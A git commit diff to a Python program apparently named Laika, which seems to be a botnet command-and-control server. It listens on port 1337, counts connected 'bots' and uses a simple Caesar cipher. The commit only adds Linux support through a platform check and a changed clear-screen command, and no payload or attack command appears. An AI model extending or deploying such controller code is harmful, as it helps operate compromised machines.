marche sous linux maintenant
This commit is contained in:
@@ -6,7 +6,7 @@ import os, sys, time
|
|||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
|
|
||||||
ADRESSE = '192.168.1.35'
|
ADRESSE = socket.gethostname()
|
||||||
PORT = 1337
|
PORT = 1337
|
||||||
CONNECT_CLIENTS = [] #liste des sockets ouverts
|
CONNECT_CLIENTS = [] #liste des sockets ouverts
|
||||||
THREAD_LIST = [] #tout les threads
|
THREAD_LIST = [] #tout les threads
|
||||||
@@ -16,6 +16,10 @@ SELECTED_CLIENT = -1
|
|||||||
serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
serveur.bind((ADRESSE, PORT))
|
serveur.bind((ADRESSE, PORT))
|
||||||
|
|
||||||
|
def is_linux_user() -> bool :
|
||||||
|
platform = sys.platform
|
||||||
|
return platform == "linux" or platform == "linux2"
|
||||||
|
|
||||||
def CAESAR(in_s: str) -> str :
|
def CAESAR(in_s: str) -> str :
|
||||||
r=""
|
r=""
|
||||||
for c in in_s :
|
for c in in_s :
|
||||||
@@ -35,8 +39,11 @@ def CAESAR_DECRYPT(in_s: str) -> str :
|
|||||||
return r
|
return r
|
||||||
|
|
||||||
def ban() :
|
def ban() :
|
||||||
os.system("title Laika - 0 bots")
|
if is_linux_user() :
|
||||||
os.system("cls")
|
os.system("clear")
|
||||||
|
else :
|
||||||
|
os.system("title Laika - 0 bots")
|
||||||
|
os.system("cls")
|
||||||
print(Fore.RED + " __ _ _ ")
|
print(Fore.RED + " __ _ _ ")
|
||||||
print(Fore.RED + " / / __ _ (_)| | __ __ _ ")
|
print(Fore.RED + " / / __ _ (_)| | __ __ _ ")
|
||||||
print(Fore.RED + " / / / _` || || |/ // _` |")
|
print(Fore.RED + " / / / _` || || |/ // _` |")
|
||||||
@@ -72,6 +79,9 @@ def on_close_socket() -> None:
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
def update_title() -> None :
|
def update_title() -> None :
|
||||||
|
if is_linux_user() :
|
||||||
|
return # marche pas encore, nsm linux
|
||||||
|
|
||||||
while True :
|
while True :
|
||||||
if SELECTED_CLIENT == -1 :
|
if SELECTED_CLIENT == -1 :
|
||||||
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots")
|
os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots")
|
||||||
|
|||||||
Reference in New Issue
Block a user